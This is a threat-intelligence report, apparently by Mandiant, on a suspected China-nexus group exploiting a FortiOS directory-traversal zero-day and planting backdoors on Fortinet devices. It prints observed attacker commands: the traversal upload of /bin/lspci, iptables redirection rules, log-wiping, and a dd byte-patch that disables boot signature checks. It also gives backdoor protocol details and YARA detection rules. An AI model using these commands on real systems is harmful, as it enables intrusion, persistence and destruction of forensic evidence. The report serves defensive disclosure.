Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation

Written by: Alexander Marvi, Brad Slaybaugh, Dan Ebreo, Tufail Ahmed, Muhammad Umair, Tina Johnson

Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and others). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim environments.

We often observe cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector. In this blog post, we describe scenarios where a suspected China-nexus threat actor likely already had access to victim environments, and then deployed backdoors onto Fortinet and VMware solutions as a means of maintaining persistent access to the environments. This involved the use of a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deployment of multiple custom malware families on Fortinet and VMware systems. Mandiant published details of the VMware malware ecosystem in September 2022.

In mid-2022, Mandiant, in collaboration with Fortinet, investigated the exploitation and deployment of malware across multiple Fortinet solutions including FortiGate (firewall), FortiManager (centralized management solution), and FortiAnalyzer (log management, analytics, and reporting platform). The following steps generally describe the actions the threat actor took:

1. Utilized a local directory traversal zero-day (CVE-2022-41328) exploit to write files to FortiGate firewall disks outside of the normal bounds allowed with shell access.
2. Maintained persistent access with Super Administrator privileges within FortiGate Firewalls through ICMP port knocking
3. Circumvented firewall rules active on FortiManager devices with a passive traffic redirection utility, enabling continued connections to persistent backdoors with Super Administrator privileges
4. Established persistence on FortiManager and FortiAnalyzer devices through a custom API endpoint created within the device
5. Disabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot files

Mandiant attributes this activity to UNC3886, a group we suspect has a China-nexus and is associated with the novel VMware ESXi hypervisor malware framework disclosed in September 2022. At the time of the ESXi hypervisor compromises, Mandiant observed UNC3886 directly connect from FortiGate and FortiManager devices to VIRTUALPITA backdoors on multiple occasions.

Mandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA from the Fortinet management IP addresses. Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) compliance mode enabled failed to boot after it was later rebooted. When FIPS mode is enabled, a checksum of the operating system is compared with the checksum of a clean image. Since the operating system was tampered by the threat actor, the checksum comparison failed, and the FortiGate Firewalls protectively failed to startup. With assistance from Fortinet, Mandiant acquired a forensic image of these failing devices, prompting the discovery of the ICMP port knocking backdoor CASTLETAP.

Fortinet Ecosystem

Multiple components of the Fortinet ecosystem were targeted by UNC3886 before they moved laterally to VMWare infrastructure. These components and their associated versions, at the time of compromise, are listed as follows:

• FortiGate: 6.2.7 – FortiGate units are network firewall devices which allow for the control and monitoring of network traffic passing through the devices.
• FortiManager 6.4.7 – The FortiManager acts as a centralized management platform for managing Fortinet devices.
• FortiAnalyzer 6.4.7 – The FortiAnalyzer acts as a centralized log management solution for Fortinet devices as well as a reporting platform.

Scenario #1 (Summary): FortiManager Exposed to the Internet

Mandiant observed two distinct attack lifecycles where the threat actor abused Fortinet technologies to establish network access. The first occurred when the threat actor initially gained access to the Fortinet ecosystem while the FortiManager device was exposed to the internet.

During this attack lifecycle, as seen in Figure 1, backdoors disguised as legitimate API calls (THINCRUST) were deployed across both FortiAnalyzer and FortiManager devices. Once persistence was established across the two devices, FortiManager scripts were used to deploy backdoors (CASTLETAP) across the FortiGate devices.

Mandiant observed SSH connections from the Fortinet devices to the ESXi servers, followed by the installation of malicious vSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoors. This enabled the threat actor persistent access to the hypervisors, and allowed the attacker to execute commands on guest virtual machines.

Mandiant has no evidence of a zero-day vulnerability being used to gain initial access or deploy the malicious VIBs at the time of writing this post. VIRTUALPITA and VIRTUALPIE were discussed in more detail in a previous Mandiant blog post published in September 2022.

Scenario #2 (Summary): FortiManager Not Exposed to the Internet

The second attack lifecycle occurred where the FortiManager devices had network Access Control Lists (ACL) put in place to restrict external access to only TCP port 541 (FortiGate to FortiManager Protocol). During this attack lifecycle, as seen in Figure 2, the threat actor deployed a network traffic redirection utility (TABLEFLIP) and reverse shell backdoor (REPTILE) on the FortiManager device to circumvent the new ACLs. With the redirection rules established by the TABLEFLIP utility, the threat actor was able to access the REPTILE backdoor directly from the Internet for continued access to the environment.

Scenario #1 (Detailed): FortiManager Exposed to the Internet

The technical details that follow describe the attack path taken by the threat actor when the FortiManager was initially exposed to the Internet.

THINCRUST Backdoor (Python-based Backdoor)

Mandiant’s analysis identified that upon initial connection to the FortiManager, the threat actor appended python backdoor code to a legitimate web framework file. Mandiant classified this new malware family as THINCRUST.

The threat actor modified the legitimate file /usr/local/lib/python3.8/proj/util/urls.py to include an additional malicious API call, show_device_info, which can be seen in Figure 3. This allowed the threat actor to interact with the THINCRUST backdoor through POST requests to the URI “/p/util/show_device_info”.

When a POST request was sent to the show_device_info URL, it passed the request to the function get_device_info in /usr/local/lib/python3.8/proj/util/views.py. The get_device_info function contained the THINCRUST backdoor enabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies provided in the POST request as seen in Figure 4.

The get_device_info function relied on the presence of two (2) cookies, FGMGTOKEN and DEVICEID, within the POST requests. The FGMGTOKEN cookie is encrypted with an RSA key hardcoded into views.py and contained an RC4 key that decrypted the commands received through the DEVICEID cookie. The decrypted result of DEVICEID were a JSON encoded dictionary with the keys 'id' and 'key'. As seen in Table 1, the 'id' value determined which action to execute within the backdoor, and the “key” value contained a string that acted as the arguments for the action being performed.

While most files in views.py had the @login_required decorator applied to them [decorators are any functions (Syntax to call decorator: @) that extend the behavior of another function without explicitly modifying the code], the malicious function get_device_info utilized the Django python module native to the system to add a @csrf_exempt decorator to the function as seen in Figure 5. This means that the POST request to the malicious API call did not require a login or CSRF token to successfully run.

Mandiant identified that a variant of this malicious API call was also present on a FortiAnalyzer device. While the backdoor function in views.py, get_device_info, was the same as FortiManager, the API call used to access the backdoor was changed to /p/utils/fortigate_syslog_send on the FortiAnalyzer device, as seen in Figure 6.

Exploitation of CVE-2022-41328 on FortiGate Devices

After persistence was established across the FortiManager and FortiAnalyzer devices with the THINCRUST backdoor, the threat actor deployed FortiManager scripts to multiple FortiGate firewalls. This activity was logged in the FortiGate elog as seen in Figure 7.

vd="root"
type="event"
subtype="system"
level="notice" logdesc="Upload and run a script"
user=”Fortimanager_Access”
ui="fgfmd"
msg=" User Fortimanager_Access via fgfmd upload and run script: <script_id> -- OK"

The threat actor deleted these FortiManager scripts from the FortiManager device before they could be recovered for analysis, but correlation of multiple event log types show that the scripts took advantage of a path traversal vulnerability (CVE-2022-41328). The vulnerability was exploited by the threat actor using the command execute wireless-controller hs20-icon upload-icon (as seen in Figure 8). This command allowed the threat actor to overwrite legitimate files in a normally restricted system directory. Normally, the execute wireless-controller hs20-icon upload-icon command is used to upload .ico files (icon files) from a server to a FortiGate firewall using the File Transfer Protocol (“FTP”) or Trivial File Transfer Protocol (“TFTP”), where they can be used in HotSpot 2.0 Online Sign-Up (OSU) portals. HotSpot 2.0 is a technology which allows for devices to seamlessly switch between cellular data and public Wi-Fi.

However, the execute wireless-controller hs20-icon upload-icon command suffered from two issues. The command did not validate the type of file being uploaded and was susceptible to a directory traversal exploit allowing a threat actor with Super Administrator privileges to upload a file smaller than 65,535 bytes to any location on the file system. This means that outside of the size constraints of the command,­­ a threat actor could replace any legitimate system file on the FortiGate firewall.

Successful exploitation of the vulnerability (CVE-2022-41328) is not logged in FortiGate elogs. Around the time of the FortiManager script execution, the elogs recorded the threat actor’s failed attempts to overwrite the system file /bin/lspci using this exploit, seen in Figure 8.

execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>

execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server>

Further supporting evidence of attempted exploitation was found in FortiGuard logs events with “file_transfer: TFTP.Server.Buffer.Overflow repeated X times” in the msg field. These events showed connections from the FortiGate firewalls to the FortiAnalyzer device, where the packet contents included the lscpi directory traversal string, as seen in Figure 9. A directory traversal string with the filename node was also referenced in a similar event, which is another binary in the /bin/ directory of a FortiGate 6.2.7 device, but Mandiant only observed the threat actor replacing the lscpi binary successfully.

PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT
0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUEFDS0
VUPg==
Base 64 Decoded
<PACKET> ..../../../../../../bin/lspci.octet.</PACKET>

Symlink to Suspected Backdoor (/bin/lspci -> /bin/sysctl)

Mandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of /bin/lspci based on the failed commands seen within FortiGate logs. In total, two variants of /bin/lspci were identified; a standalone version of the binary and a version which was symlinked to /bin/sysctl. Fortinet confirmed that /bin/lspci should always be a standalone binary.

File listing entries for /bin/lspci and /bin/sysctl on the compromised FortiGate firewalls contained similar timestamps that did not align with other legitimate binaries on the FortiGate machines. Additionally, the file size for /bin/sysctl on the compromised FortiGate firewall was much larger than reported on non-compromised devices.

Under normal circumstances, the command ‘diagnose hardware lscpi’ is used to list PCIe devices connected to the FortiGate firewall, but once the threat actor replaced the legitimate lspci binary with a symlink, the diagnostic command could execute the sysctl file the threat actor modified instead.

The file listing snippets in Figure 10 and Figure 11 highlight the differences across the original and modified versions of /bin/lspci and /bin/sysctl present on the FortiGate firewalls.

COMPROMISED-FGT101F # fnsysctl ls -la /bin
...
lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lldptx -> /bin/init
lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lnkmtd -> /bin/init
lrwxrwxrwx    1 root     root            11 Oct 19 05:11 lspci -> /bin/sysctl
lrwxrwxrwx    1 root     root             9 Oct 18 13:09 lted -> /bin/init
lrwxrwxrwx    1 root     root             9 Oct 18 13:09 memuploadd -> /bin/init
...
-rwxr-xr-x    1 root     root       1478216 Oct 19 05:11 sysctl
...

NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin
...
lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lldptx -> /bin/init
lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lnkmtd -> /bin/init
-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    131736 lspci
lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 lted -> /bin/init
lrwxrwxrwx    1 0        0       Fri Sep  2 12:07:55 2022         9 memuploadd -> /bin/init
...
-rwxr-xr-x    1 0        0       Fri Sep  2 12:07:55 2022    251480 sysctl
...

0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D

#!/bin/bash

#cp /bin/sh /bin/top

sleep 30
/bin/klogd
/bin/auth
rm -rf /bin/klogd
rm -rf /nohup.out
rm -rf /bin/support

TABLEFLIP was configured to listen on all active interfaces for TCP packets and searches at the start of the TCP payload for the following magic packet, shown in Figure 16, for packets destined for port TCP 541.

17 03 01 01 D8 54 2F 31

If the magic number was found, the malware extracted a XOR key from offset 0xB of the TCP payload. This key was used as a seed for XOR based sequential decryption. TCP payload offset 0xC onwards was decrypted using this scheme. Figure 17 shows the structure of the payload.

struct _payload
{
_DWORD magic_dword1;
_DWORD magic_dword2;
_BYTE unused[3];
_BYTE xor_key;
_DWORD command;
_DWORD ip;
_WORD port;
};

The malware then attempted to extract the command, IP, and port from the payload. Table 6 describes the command and actions taken when a command was recognized.

Traffic redirection was accomplished by adding iptables rules on the FortiManager system as seen in Figure 18. with the source IP and redirection port specified in the command packet. iptables was executed to check if a PREROUTING rule for that IP and port combination already existed. If the combination was not found, a new redirection rule was added in the PREROUTING chain. The rules under the PREROUTING chain were processed immediately once the packet is received on an interface.

iptables -t nat -S PREROUTING | grep <src_ip> | grep <redirection_port> || iptables -t nat -A PREROUTING -p tcp -s <src_ip> --dport 541 -j REDIRECT --to-port <redirection_port>

When assigned to delete traffic redirection, TABLEFLIP utilized the grep command to filter on all lines in the PREROUTING chain which contained the IP address and redirection port of interest, capturing the appropriate rule id’s with awk. These id’s were passed back to iptables with xargs to have them removed from the PREROUTING chain, as seen in Figure 19.

iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '<src_ip>.*< 
redirection_port>' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING

REPTILE (Backdoor)

To achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename /bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) that Mandiant refers to as REPTILE, a variant of a publicly available Linux kernel module (LKM) rootkit. With the assistance of TABLEFLIP, the threat actor was able to successfully forward traffic and access the REPTILE backdoor using iptables traffic redirection rules.

Once executed, REPTILE created a packet socket to receive OSI layer 2 packets. When a packet was received, the backdoor would perform the check seen in the pseudocode in Figure 20 to determine if a magic string was present.

single_byte_xor_key = (month * year) * day % 255
index = 2 * data_received_on_port_8[7];
data_to_decode_ptr = *((char *)&data[index + 12] + 1)
i = 0
while ( i < strlen(data_to_decode) )
    decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;
strncmp(&decoded_data, "mznCvqSBo", 9)

Figure 20: REPTILE magic string detection pseudocode

Table 7 shows the magic strings interpreted by REPTILE and their resultant actions.

Table 7: REPTILE magic string options

Similar to the method used by CASTLETAP to decode the C2 information, REPTILE derived a single-byte XOR key from the Epoch date stamp to decrypt payload data, which caused the encryption key to change daily. Figure 21 shows the formula that was used to calculate the XOR key.

(month * (year + 1900)) * day % 255

• year: index starting from 1900 i.e. current_year-1900 
• month: index starting from 0
• date: index starting from 1

Figure 21: REPTILE XOR key calculation

If the magic string “mznCvqSBo” was found, a reverse shell was created with the C2 IP address and destination port extracted from the rest of the activation packet payload. When the first magic string was not present, the binary searched for the second magic string “hpaVAj2FJ”. If this second magic string was found, the REPTILE process will end.If no magic strings were found, the backdoor continued to listen for other connections.

Threat Actor Anti-Forensics

Clearing and Modifying Logs

Mandiant analyzed the system memory of the FortiManager and identified threat actor commands used to clear specific events that contained the threat actor’s IP address from multiple log sources. The commands seen in Figure 22 were utilized by the threat actor to remove log entries containing the IP address used to connect to the THINCRUST backdoor.

echo > /var/log/django.log; \
echo > /var/log/apache2/error_log; \
sed -i ‘/<ipaddress>/d’ /var/log/apache2/*log; \
ls -alt /var/log/ /var/log/apache2/

Figure 22: Threat actor’s anti-forensics commands

Disabling File System Verification on Startup

In an attempt to skip digital signature verification checks made to the file system on boot, the threat actor added the command seen in Figure 23 to the startup config /etc/init.d/localnet within the rootfs.gz archive of both FortiManager and FortiAnalyzer devices.

printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null

Figure 23: /etc/init.d/localnet – DD Command

Comparing the compromised /bin/smit (a388ebaef45add5da503e4bf2b9da546) with a clean version from both FortiManager and FortiAnalyzer, the modified binary contained a single byte difference. The modified location within /bin/smit is executed when the mount command line argument is given on system startup. Normally, the mount function would perform OpenSSL 1.1.0 digital signature verification checks on the files in Figure 24 against /data/.fmg_sign, but this modification changed a conditional jump instruction to an unconditional jump instruction which always skipped digital signature verification checks normally made on the system files.

/data/extlinux.sys
/data/extlinux.conf
/data/boot.msg
/data/vmlinuz
/data/rootfse-fe

Figure 24: Files normally checked by /bin/smit

Since the mount command executes prior to /etc/init.d/localnet on system startup, the dd command will overwrite the 22,866^th byte of /bin/smit with the character “t”, reverting the binary to a state that appears as if it was never tampered with, even if the file was hashed.

Attribution

UNC3886 is an advanced cyber espionage group with unique capabilities in how they operate on-network as well as the tools they utilize in their campaigns. UNC3886 has been observed targeting firewall and virtualization technologies which lack EDR support. Their ability to manipulate firewall firmware and exploit a zero-day indicates they have curated a deeper-level of understanding of such technologies. UNC3886 has modified publicly available malware, specifically targeting *nix operating systems.

Another threat cluster unrelated to UNC3886, suspected to be from China has recently been observed targeting zero-day vulnerabilities in Fortinet as reported by Mandiant in mid-January of 2023. Mandiant continues to gather evidence and identify overlaps between UNC3886 and other groups that are attributed to Chinese APT.

Conclusion

The activity discussed in this blog post is further evidence that advanced cyber espionage threat actors are taking advantage of any technology available to persist and traverse a target environment, especially those technologies that do not support EDR solutions. This presents a unique challenge for investigators as many network appliances lack solutions to detect runtime modifications made to the underlying operating system and require direct involvement of the manufacturer to collect forensic images. Cross organizational communication and collaboration is key to providing both manufacturers with early notice of new attack methods in the wild before they are made public and investigators with expertise to better shed light on these new attacks.

Mandiant recommends organizations using the ESXi and the VMware infrastructure suite follow the hardening steps outlined in this blog post to minimize the attack surface of ESXi hosts.

Acknowledgements

Special thanks to Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, Charles Carmakal, and Fortinet PSIRT for their assistance with the investigation, technical review, and creating detections for the malware families discussed in this blog post. In addition, we would also like to thank Fortinet and VMware for their collaboration on this research.

Fortinet released two additional resources covering CVE-2022-41328 and an analysis of identified attacker activity.

MITRE ATT&CK Techniques

Impact

•    T1565.001: Stored Data Manipulation

Defense Evasion

•    T1027:        Obfuscated Files or Information
•    T1070:        Indicator Removal
•    T1070.003:    Clear Command History
•    T1070.004:    File Deletion
•    T1078:        Valid Accounts
•    T1140:        Deobfuscate/Decode Files or Information
•    T1202:        Indirect Command Execution
•    T1218.011:    Rundll32
•    T1222:        File and Directory Permissions Modification
•    T1497:        Virtualization/Sandbox Evasion
•    T1497.001:    System Checks
•    T1620:        Reflective Code Loading

Credential Access

•    T1552:        Unsecured Credentials
•    T1555.005:    Password Managers

 Discovery

•    T1016:        System Network Configuration Discovery
•    T1033:        System Owner/User Discovery
•    T1057:        Process Discovery
•    T1082:        System Information Discovery
•    T1083:        File and Directory Discovery
•    T1087:        Account Discovery
•    T1518:        Software Discovery

 Collection

•    T1074.001:    Local Data Staging
•    T1560:        Archive Collected Data
•    T1560.001:    Archive via Utility

Execution

•    T1059:        Command and Scripting Interpreter
•    T1059.001:    PowerShell
•    T1059.003:    Windows Command Shell
•    T1059.004:    Unix Shell
•    T1059.006:    Python
•    T1129:        Shared Modules

Command and Control

•    T1095:        Non-Application Layer Protocol
•    T1102.001:    Dead Drop Resolver
•    T1105:        Ingress Tool Transfer
•    T1571:        Non-Standard Port
•    T1573.001:    Symmetric Cryptography

Lateral Movement

•    T1021.004:    SSH

Indicators of Compromise

YARA Rules

rule M_Hunting_Util_TABLEFLIP_1
{
meta:
    author = "Mandiant"
    description = "Looks for TABLEFLIP Binary"
    md5 = "b6e92149efaf78e9ce7552297505b9d5"
strings:
    $z1 = "%1$s.*%2$d" fullword
    $x1 = "/proc/self/exe" fullword
    $x2 = "socket" fullword
    $x3 = "127." fullword
    $x4 = "iptables -t nat" fullword
    $s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT --to-port %2$d"
    $s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING"
condition:
    uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or any of ($s*) )
}

rule M_Hunting_Backdoor_REPTILE_1
{
    meta:
        author = "Mandiant"
        description = "Looks for ELF backdoor REPTILE variant"
        md5 = "53a69adac914808eced2bf8155a7512d"
    strings:
        $x1 = ";7(Zu9YTsA7qQ#vw"
        $x2 = "mznCvqSBo"
        $x3 = "hpaVAj2FJ"
        $x4 = "%d.%d.%d.%d"
        $x5 = "HISTFILE="
        $x6 = "TERM"
        $x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara
    condition:
        uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB
}

rule M_Hunting_Backdoor_CASTLETAP_1
{
    meta:
        author = "Mandiant"
        description = "Finds strings observed in CASTLETOP ELF binary"
        md5 = "e2d2884869f48f40b32fb27cc3bdefff"
    strings:
        $x1 = ";7(Zu9YTsA7qQ#vw"
        $x2 = "qWWlC0v6yYh2yxu"
        $x3 = "1qaz@WSXa"
        $x4 = "hpaVAj2FJ"
        $x5 = "%d.%d.%d.%d"
        $x6 = "HISTFILE="
        $x7 = "TERM"
        $x8 = "/tmp/busybox"
        $x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }
    condition:
        uint16(18) == 183 and
        uint16(16) == 0x02 and
        uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB
}
rule M_Hunting_Backdoor_CASTLETAP_2
{
    meta:
        author = "Mandiant"
        description = "Finds byte pattern related to XOR decode function"
        md5 = "e2d2884869f48f40b32fb27cc3bdefff"
    strings:
        $x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }
    condition:
        uint16(18) == 183 and
        uint16(16) == 0x02 and
        uint32(0) == 0x464c457f and any of them and filesize < 15MB        
}